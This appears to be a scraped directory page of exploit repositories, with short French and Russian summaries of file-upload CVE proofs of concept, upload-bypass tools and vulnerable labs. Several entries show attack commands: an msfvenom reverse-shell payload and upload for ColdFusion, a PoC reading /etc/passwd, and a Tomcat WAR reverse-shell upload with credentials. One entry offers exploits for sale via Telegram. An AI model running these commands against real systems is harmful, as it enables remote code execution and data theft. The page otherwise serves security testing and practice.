CVE-2025-3054-Exploit

CVE-2025-3054 Exploit: Télécharger ici Détails CVE ID : CVE-2025-3054 Publié : 5 juin 2025 CVSS : 8.8 Correctif disponible : Aucun correctif officiel pour l'instant Impact Le plugin WP User Frontend Pro pour WordPress est vulnérable aux téléchargements arbitraires de fichiers en raison de l'absen...

Bypass-File-Upload-on-Koken-CMS

Обход ограничений загрузки файлов в Koken CMS В этом репозитории объясняется, как обойти ограничения загрузки файлов в Koken CMS — 0.22.24 с аутентификацией О Koken CMS Koken — бесплатная система управления контентом, предназначенная для фотографов, дизайнеров и художников. Веб-сайт:...

exploit-CVE-2017-7494

SambaCry RCE эксплойт для Samba 4.5.9 Samba — это свободная программная реализация сетевого протокола SMB/CIFS. Samba предоставляет файловые и печатные сервисы для различных клиентов Microsoft Windows и может интегрироваться с доменом Microsoft Windows Server, либо как контроллер домена DC, либо...

CVE-2019-8942

CVE-2019-8942 и CVE-2019-8943: WordPress RCE привилегии автора Обзор CVE-2019-8942 — это уязвимость, использующая ошибку LFI в сочетании с функцией загрузки файлов для выполнения RCE на веб-сервере WordPress с правами автора. Затронутые версии WordPress — до 4.9.9 и 5.x до 5.0.1, что позволяет...

zip-shotgun

ZIP Shotgun Script utilitaire pour tester la fonctionnalité de téléversement de fichiers zip et l'extraction éventuelle de fichiers zip pour les vulnérabilités alias Zip Slip. L'idée de ce script provient de cet article sur Silent Signal Techblog - Compressed File Upload And Command Execution et ...

CVE-2022-32060

Snipe-IT Версия v6.0.2 Описание уязвимости: Уязвимость произвольной загрузки файлов в компоненте Update Branding Settings Snipe-IT v6.0.2 позволяет злоумышленникам выполнять произвольный код через специально созданный файл. Векторы атаки: Мы обнаружили уязвимость загрузки файлов при загрузке...

CVE-2024-10793

CVE-2024-10793 Доказательство концепции Добавьте эти строки в ваш файл hosts: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com Запустите WordPress с помощью Docker: $ sudo systemctl start docker $ sudo docker-compose up -d Откройте http://goodcms.lab:2121 и выполните шаги установки WordPress...

CVE-2009-2265

Версия: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Пример :...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 Shell Upload Это приложение создано Mayurik Проект системы управления аптекой на PHP был разработан для повышения точности и эффективности работы аптек за счет безопасности и управления. Короче говоря, это приложение для инвентаризации товаров. В...

CVE-2024-34452

CVE-2024-34452 - Уязвимость межсайтового скриптинга XSS в CMSimpleXH Обзор Уязвимость межсайтового скриптинга XSS была обнаружена в CMSimpleXH версии 1.7.6. Эта уязвимость позволяет авторизованным пользователям загружать SVG-файлы, содержащие вредоносный код JavaScript. Проблема возникает из-за...

Upload_Bypass

UploadBypass v3 À propos Upload Bypass est un outil simple conçu pour aider les testeurs d'intrusion et les chasseurs de bugs à tester les mécanismes de téléversement de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des...

CVE-2023-40028

CVE-2023-40028 PoC-эксплойт Уязвимость загрузки симлинков в Ghost CMS, приводящая к произвольному чтению файлов POC-изображение Детали уязвимости CVE-2023-40028 — это уязвимость в Ghost CMS версиях до 5.59.1 , в которой аутентифицированные пользователи могут загружать символические ссылки симлинк...

VulnLab

VulnLab Un projet de laboratoire de vulnérabilités web développé par Yavuzlar. Logo Vulnérabilités SQL Injection Cross Site Scripting XSS Command Injection Insecure Direct Object References IDOR Cross Site Request Forgery CSRF XML External Entity XXE Insecure Deserialization File Upload File...

CVE-2022-44268-

CVE-2022-44268- Для практики HTB Как это использовать python3 poc.py generate -o test.png -r /etc/passwd Загрузите файл test.png и скачайте python3 poc.py parse -i out.png...

CVE-2025-63830

📂 CKFinder 1.4.3 – Script intersite stocké XSS via téléchargement SVG malveillant Identifiant CVE : CVE-2025-63830 🧭 Aperçu Une vulnérabilité de script intersite stocké XSS a été identifiée dans CKFinder v1.4.3. Le problème réside dans la fonctionnalité de téléchargement de fichiers , qui ne...

dp_crypto

dpcrypto Exploit d'oracle de chiffrement basé sur Base64 pour CVE-2017-9248 gestionnaire de dialogue Telerik UI for ASP.NET AJAX Publié sur exploit-db Mise à jour 2020 - Veuillez noter que la version sur exploit-db est maintenant très obsolète par rapport à la dernière version ici sur GitHub...

CVE-2022-0316_wordpress_multiple_themes_exploit

Wordpress Multiple themes - Unauthenticated Arbitrary File Upload CVE-2022-0316 Неавторизованная произвольная загрузка файлов в нескольких темах от ChimpStudio и PixFill. За дополнительными эксплойтами и эксклюзивными обращайтесь ко мне в Telegram @KtN1990. Затронутые темы westand footysquare...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Неаутентифицированная произвольная загрузка файлов Metasploit Дата: 30-01-2021 Автор эксплойта: Berkan Er [email protected] Домашняя страница производителя: https://www.fortilogger.com/ Ссылка на ПО: https://www.fortilogger.com/download Версия: 4.4.2.2...

CVE-2024-53345

CVE-2024-53345 Критическая 0-day уязвимость в системе управления арендой автомобилей версий 1.0 - 1.3 Описание: В системе управления арендой автомобилей версии 1.0 - 1.3 в функциональности загрузки файлов модуля System Settings существует критическая уязвимость, которая позволяет пользователям с...

warsend

WARSend Загрузка WAR Shell через API менеджера Apache Tomcat Предварительные требования Учётные данные Доступ к Text API менеджера Tomcat $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / /...